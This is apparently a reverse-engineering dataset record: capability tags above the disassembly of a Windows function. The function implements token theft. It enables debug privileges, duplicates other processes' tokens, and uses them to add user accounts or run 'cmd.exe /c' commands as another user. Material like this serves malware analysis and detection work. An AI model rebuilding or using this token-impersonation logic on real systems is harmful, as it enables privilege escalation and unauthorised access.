Function at 0x1400641c7
Capabilities:
Acquire debug privileges
Add user account
Add user account to group
Create process on windows
Impersonate user

Disassembly:
jmp 0x14006b550
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rsi
push rdi
mov eax, 0x303d0
call fcn.14006487a
sub rsp, rax
lea rbp, [rsp + 0x60]
lea rdi, [rsp + 0x60]
mov ecx, 0xbf5c
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x303f8]
mov rax, qword [0x140168008]
xor rax, rbp
mov qword [rbp + 0x30368], rax
lea rcx, [0x140179015]
call fcn.140066f62
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 0x48], rax
lea r8, [rbp + 8]
mov edx, 0x28
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea rax, [rbp + 0x24]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x19
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov eax, dword [rbp + 0x24]
mov edx, eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rbp + 0x68], rax
lea rax, [rbp + 0x24]
mov qword [rsp + 0x20], rax
mov r9d, dword [rbp + 0x24]
mov r8, qword [rbp + 0x68]
mov edx, 0x19
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov rax, qword [rbp + 0x68]
mov rcx, qword [rax]
call qword [sym.imp.ADVAPI32.dll_GetSidSubAuthorityCount]
movzx eax, byte [rax]
dec eax
movzx eax, al
mov edx, eax
mov rax, qword [rbp + 0x68]
mov rcx, qword [rax]
call qword [sym.imp.ADVAPI32.dll_GetSidSubAuthority]
mov eax, dword [rax]
mov dword [rbp + 0x84], eax
lea r8, [rbp + 0xd8]
lea rdx, str.SeAssignPrimaryTokenPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
jne 0x14006b671
lea rcx, str._t____SeAssignPrimaryToken_not_owned__n
call fcn.1400656bc
mov dword [rbp + 0xa8], 1
mov eax, 0xc
imul rax, rax, 0
mov rcx, qword [rbp + 0xd8]
mov qword [rbp + rax + 0xac], rcx
mov eax, 0xc
imul rax, rax, 0
mov dword [rbp + rax + 0xb4], 2
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0x10
lea r8, [rbp + 0xa8]
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x14006b6ea
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._t____SeAssignPrimaryToken_adjust_token_failed:__d_n
call fcn.1400656bc
lea r8, [rbp + 0xf8]
lea rdx, str.SeDebugPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
jne 0x14006b710
lea rcx, str._t____SeDebugPrivilege_not_owned__n
call fcn.1400656bc
mov dword [rbp + 0xa8], 1
mov eax, 0xc
imul rax, rax, 0
mov rcx, qword [rbp + 0xf8]
mov qword [rbp + rax + 0xac], rcx
mov eax, 0xc
imul rax, rax, 0
mov dword [rbp + rax + 0xb4], 2
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0x10
lea r8, [rbp + 0xa8]
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x14006b789
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._t____SeDebugPrivilege_adjust_token_failed:__d_n
call fcn.1400656bc
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
lea rdx, [rbp + 0x114]
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_ProcessIdToSessionId]
mov dword [rbp + 0x134], 0
mov dword [rbp + 0x2ef74], 0
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, str.NtQuerySystemInformation
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x2ef98], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, 0xa00000
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rbp + 0x2efb8], rax
lea r9, [rbp + 0x134]
mov r8d, 0xa00000
mov rdx, qword [rbp + 0x2efb8]
mov ecx, 0x10
call qword [rbp + 0x2ef98]
mov dword [rbp + 0x2efd4], 0
jmp 0x14006b844
mov eax, dword [rbp + 0x2efd4]
inc eax
mov dword [rbp + 0x2efd4], eax
mov rax, qword [rbp + 0x2efb8]
mov eax, dword [rax]
cmp dword [rbp + 0x2efd4], eax
jae 0x14006bacb
mov eax, dword [rbp + 0x2efd4]
imul rax, rax, 0x18
lea rcx, [rbp + 0x30348]
mov rdx, qword [rbp + 0x2efb8]
mov rdi, rcx
lea rsi, [rdx + rax + 8]
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x2eff8]
lea rcx, [rbp + 0x30348]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
movzx eax, word [rbp + 0x2eff8]
mov r8d, eax
xor edx, edx
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 0x2f028], rax
cmp qword [rbp + 0x2f028], 0xffffffffffffffff
jne 0x14006b8d5
mov rcx, qword [rbp + 0x2f028]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14006b836
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
movzx ecx, word [rbp + 0x2effe]
mov dword [rsp + 0x30], 2
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea r9, [rbp + 0x2f048]
mov r8, rax
mov edx, ecx
mov rcx, qword [rbp + 0x2f028]
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
jne 0x14006b929
mov rcx, qword [rbp + 0x2f028]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14006b836
mov ecx, 0x2000
call fcn.140065c2f
mov qword [rbp + 0x2f068], rax
mov edx, 2
mov rcx, qword [rbp + 0x2f048]
call fcn.14006428f
lea rdx, str.Token
mov rcx, rax
call fcn.140065784
test eax, eax
je 0x14006b97d
mov rcx, qword [rbp + 0x2f028]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x2f048]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14006b836
mov rax, qword [rbp + 0x2f048]
mov qword [rbp + 0x2f090], rax
lea rcx, [rbp + 0x2f090]
call fcn.140066954
lea rcx, [rbp + 0x2f090]
call fcn.140066eae
lea rcx, [rbp + 0x2f090]
call fcn.140066d9b
mov dword [rbp + 0x2f324], 0
mov dword [rbp + 0x2f344], 0
jmp 0x14006b9d3
mov eax, dword [rbp + 0x2f344]
inc eax
mov dword [rbp + 0x2f344], eax
mov eax, dword [rbp + 0x2ef74]
cmp dword [rbp + 0x2f344], eax
jg 0x14006ba6f
movsxd rax, dword [rbp + 0x2f344]
imul rax, rax, 0x280
lea rax, [rbp + rax + 0x170]
lea rdx, [rbp + 0x2f0a0]
mov rcx, rax
call fcn.140065784
test eax, eax
jne 0x14006ba6a
movsxd rax, dword [rbp + 0x2f344]
imul rax, rax, 0x280
lea rax, [rbp + rax + 0x38e]
lea rdx, [rbp + 0x2f2be]
mov rcx, rax
call fcn.140065784
test eax, eax
jne 0x14006ba6a
movsxd rax, dword [rbp + 0x2f344]
imul rax, rax, 0x280
lea rax, [rbp + rax + 0x3ca]
lea rdx, [rbp + 0x2f2fa]
mov rcx, rax
call fcn.140065784
test eax, eax
jne 0x14006ba6a
mov dword [rbp + 0x2f324], 1
jmp 0x14006b9c5
cmp dword [rbp + 0x2f324], 0
jne 0x14006bab9
mov eax, dword [rbp + 0x2ef74]
mov dword [rbp + 0x2f098], eax
movsxd rax, dword [rbp + 0x2ef74]
imul rax, rax, 0x280
lea rcx, [rbp + 0x2f090]
lea rdi, [rbp + rax + 0x160]
mov rsi, rcx
mov ecx, 0x280
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rbp + 0x2ef74]
inc eax
mov dword [rbp + 0x2ef74], eax
mov rcx, qword [rbp + 0x2f028]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14006b836
mov eax, 8
imul rax, rax, 1
lea rdx, str.list
mov rcx, qword [rbp + 0x30398]
mov rcx, qword [rcx + rax]
call fcn.140065784
test eax, eax
jne 0x14006bb75
mov dword [rbp + 0x2f364], 0
jmp 0x14006bb0d
mov eax, dword [rbp + 0x2f364]
inc eax
mov dword [rbp + 0x2f364], eax
mov eax, dword [rbp + 0x2ef74]
cmp dword [rbp + 0x2f364], eax
jge 0x14006bb70
movsxd rax, dword [rbp + 0x2f364]
imul rax, rax, 0x280
lea rax, [rbp + rax + 0x170]
movsxd rcx, dword [rbp + 0x2f364]
imul rcx, rcx, 0x280
lea rcx, [rbp + rcx + 0x3ca]
movsxd rdx, dword [rbp + 0x2f364]
imul rdx, rdx, 0x280
mov r9, rax
mov r8, rcx
mov edx, dword [rbp + rdx + 0x168]
lea rcx, str._d__ws__ws_n
call fcn.1400656bc
jmp 0x14006baff
jmp 0x14006bfea
mov eax, 8
imul rax, rax, 1
lea rdx, str.adduser
mov rcx, qword [rbp + 0x30398]
mov rcx, qword [rcx + rax]
call fcn.140065784
test eax, eax
jne 0x14006bba2
cmp dword [rbp + 0x30390], 7
je 0x14006bbd7
mov eax, 8
imul rax, rax, 1
lea rdx, str.exec
mov rcx, qword [rbp + 0x30398]
mov rcx, qword [rcx + rax]
call fcn.140065784
test eax, eax
jne 0x14006bfea
cmp dword [rbp + 0x30390], 4
jne 0x14006bfea
mov eax, 8
imul rax, rax, 2
mov rcx, qword [rbp + 0x30398]
mov rcx, qword [rcx + rax]
call fcn.140066a49
mov dword [rbp + 0x2f384], eax
mov dword [rbp + 0x2f3a4], 0
jmp 0x14006bc10
mov eax, dword [rbp + 0x2f3a4]
inc eax
mov dword [rbp + 0x2f3a4], eax
mov eax, dword [rbp + 0x2ef74]
cmp dword [rbp + 0x2f3a4], eax
jge 0x14006bfea
movsxd rax, dword [rbp + 0x2f3a4]
imul rax, rax, 0x280
mov ecx, dword [rbp + 0x2f384]
cmp dword [rbp + rax + 0x168], ecx
jne 0x14006bfe5
movsxd rax, dword [rbp + 0x2f3a4]
imul rax, rax, 0x280
lea rcx, [rbp + 0x2f3c8]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], 1
mov r9d, 2
xor r8d, r8d
mov edx, 0xf01ff
mov rcx, qword [rbp + rax + 0x160]
call qword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
test eax, eax
je 0x14006bfca
mov eax, 8
imul rax, rax, 1
lea rdx, str.adduser
mov rcx, qword [rbp + 0x30398]
mov rcx, qword [rcx + rax]
call fcn.140065784
test eax, eax
jne 0x14006be30
mov rcx, qword [rbp + 0x2f3c8]
call qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
test eax, eax
jne 0x14006bce0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Impersonation_failed_error:__d
call fcn.1400656bc
mov eax, 1
jmp 0x14006bfec
mov eax, 8
imul rax, rax, 5
mov rcx, qword [rbp + 0x30398]
mov rax, qword [rcx + rax]
mov qword [rbp + 0x2f3e8], rax
mov eax, 8
imul rax, rax, 6
mov rcx, qword [rbp + 0x30398]
mov rax, qword [rcx + rax]
mov qword [rbp + 0x2f408], rax
mov r8d, 0x38
xor edx, edx
lea rcx, [rbp + 0x2f428]
call fcn.140066346
mov r8d, 8
xor edx, edx
lea rcx, [rbp + 0x2f478]
call fcn.140066346
mov eax, 8
imul rax, rax, 3
mov rcx, qword [rbp + 0x30398]
mov rax, qword [rcx + rax]
mov qword [rbp + 0x2f428], rax
mov eax, 8
imul rax, rax, 4
mov rcx, qword [rbp + 0x30398]
mov rax, qword [rcx + rax]
mov qword [rbp + 0x2f430], rax
mov dword [rbp + 0x2f43c], 1
mov qword [rbp + 0x2f440], 0
mov qword [rbp + 0x2f448], 0
mov dword [rbp + 0x2f450], 0x10201
mov qword [rbp + 0x2f458], 0
xor r9d, r9d
lea r8, [rbp + 0x2f428]
mov edx, 1
mov rcx, qword [rbp + 0x2f408]
call fcn.140065cd9
test eax, eax
je 0x14006bde6
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Add_user_failed_with_error:__d_n
call fcn.1400656bc
mov eax, 1
jmp 0x14006bfec
mov r8, qword [rbp + 0x2f428]
mov rdx, qword [rbp + 0x2f3e8]
mov rcx, qword [rbp + 0x2f408]
call fcn.1400652d4
test eax, eax
je 0x14006be2a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov rdx, qword [rbp + 0x2f408]
lea rcx, str.____Add_user_in_domain__ws_failed_with_error:__d
call fcn.1400656bc
mov eax, 1
jmp 0x14006bfec
call qword [sym.imp.ADVAPI32.dll_RevertToSelf]
mov eax, 8
imul rax, rax, 1
lea rdx, str.exec
mov rcx, qword [rbp + 0x30398]
mov rcx, qword [rcx + rax]
call fcn.140065784
test eax, eax
jne 0x14006bfbb
lea rax, [rbp + 0x2f4a0]
mov rdi, rax
xor eax, eax
mov ecx, 0x68
rep stosb byte [rdi], al
lea rax, [rbp + 0x2f528]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
mov eax, 8
imul rax, rax, 3
mov rcx, qword [rbp + 0x30398]
mov r9, qword [rcx + rax]
lea r8, str.cmd.exe__c__ws
mov edx, 0x3e8
lea rcx, [rbp + 0x2f560]
call fcn.1400662ab
cmp dword [rbp + 0x84], 0x4000
jb 0x14006bf58
mov r9d, 4
lea r8, [rbp + 0x114]
mov edx, 0xc
mov rcx, qword [rbp + 0x2f3c8]
call qword [sym.imp.ADVAPI32.dll_SetTokenInformation]
test eax, eax
jne 0x14006bef1
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Couldnt_change_token_session_id__error:__d__n
call fcn.1400656bc
lea rax, [rbp + 0x2f528]
mov qword [rsp + 0x50], rax
lea rax, [rbp + 0x2f4a0]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [rbp + 0x2f560]
xor edx, edx
mov rcx, qword [rbp + 0x2f3c8]
call qword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [rbp + 0x84], 0x3000
jb 0x14006bfbb
cmp dword [rbp + 0x84], 0x4000
jae 0x14006bfbb
lea rax, [rbp + 0x2f528]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x2f4a0]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea r9, [rbp + 0x2f560]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x2f3c8]
call qword [sym.imp.ADVAPI32.dll_CreateProcessWithTokenW]
mov rcx, qword [rbp + 0x2f3c8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14006bfe5
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Duplication_failed_with_error:__d_n
call fcn.1400656bc
mov eax, 1
jmp 0x14006bfec
jmp 0x14006bc02
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x60]
lea rdx, [0x140137a30]
call fcn.140066706
mov rax, rdi
mov rcx, qword [rbp + 0x30368]
xor rcx, rbp
call fcn.140065734
lea rsp, [rbp + 0x30370]
pop rdi
pop rsi
pop rbp
ret